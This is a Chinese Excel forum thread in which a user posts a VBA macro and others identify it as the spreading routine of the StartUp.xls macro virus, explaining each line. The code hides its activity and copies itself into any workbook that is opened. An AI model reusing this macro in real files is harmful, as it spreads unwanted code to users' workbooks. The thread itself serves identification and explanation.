这是什么东西????

wj5815

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

guzhen9315

提醒：近来在论坛上感染StartUp.xls宏病毒。
http://club.excelhome.net/thread-699219-1-1.html

1301727602

看不懂哦。。。

ＺＨＹＺ

大体意思就是
如果打开的Excel的第一个表的名称不是StartUp的话
StartUp工作簿StartUp表复制到打开的第一个表

第二行,忽略错误,
第四行,关闭屏幕更新
主要意思是判断后复制StartUp内文件

看了2楼的连接代码,
这个代码好象是恶作剧,

[ 本帖最后由 ＺＨＹＺ 于 2011-4-3 16:09 编辑 ]

guzhen9315

原帖由 1301727602 于 2011-4-3 15:53 发表
看不懂哦。。。

Sub ycop()    '子程序 ycop()
On Error Resume Next    '有错误，执行下一句
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then    '如果活动工作簿的<工作表>(1)的名称 不等于 "StartUp" 则执行
        Application.ScreenUpdating = False    '关闭屏幕刷新
        n$ = ActiveSheet.Name    'n$= 活动工作表的名称
        Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)    '有毒工作簿"StartUp.xls"的工作表"StartUp"的复制
        Sheets(n$).Select    '<工作表>(n$)的选定
End If    'If判断过程结束
End Sub    '子程序结束

wj5815

谢谢各位老师